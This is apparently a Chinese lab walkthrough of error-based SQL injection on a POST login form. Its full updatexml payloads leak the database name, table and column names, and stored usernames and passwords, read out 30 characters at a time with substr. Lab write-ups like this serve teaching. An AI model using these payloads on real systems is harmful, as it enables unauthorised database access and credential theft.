同样还是post型,按照常规的方法,抓包,找到注入点:
updatexml(1,concat(0x7e,substr((select group_concat(username,password)from users),31,30),0x7e),1)--+
这里找到注入点,闭合方式为')类型,然后就是判断列数,发现显示位:
这里我们会发现,当我们执行正确的语句,页面没有任何变化,于是就可以判定这是报错注入,下面就是使用报错注入,来完成后续操作。
uname=1')and updatexml(1,concat(0x7e,database(),0x7e),1)--+&passwd=1&submit=Submit
这里就看到,拿到了数据库名,后续操作就是和正常注入类似:
uname=1')and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+&passwd=1&submit=Submit拿到该数据库下有多少表
uname=1')and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1)--+&passwd=1&submit=Submit拿到users表的列名信息
这里就可以看到,获取了相关信息,但是需要注意,这里一次性只能最多输出32个字符,因此就要引入substr函数。
uname=1')and updatexml(1,concat(0x7e,substr((select group_concat(username,password) from users),1,30),0x7e),1)--+&passwd=1&submit=Submit
uname=1')and updatexml(1,concat(0x7e,substr((select group_concat(username,password) from users),31,30),0x7e),1)--+&passwd=1&submit=Submit
这里就简单的获取了前60个字符。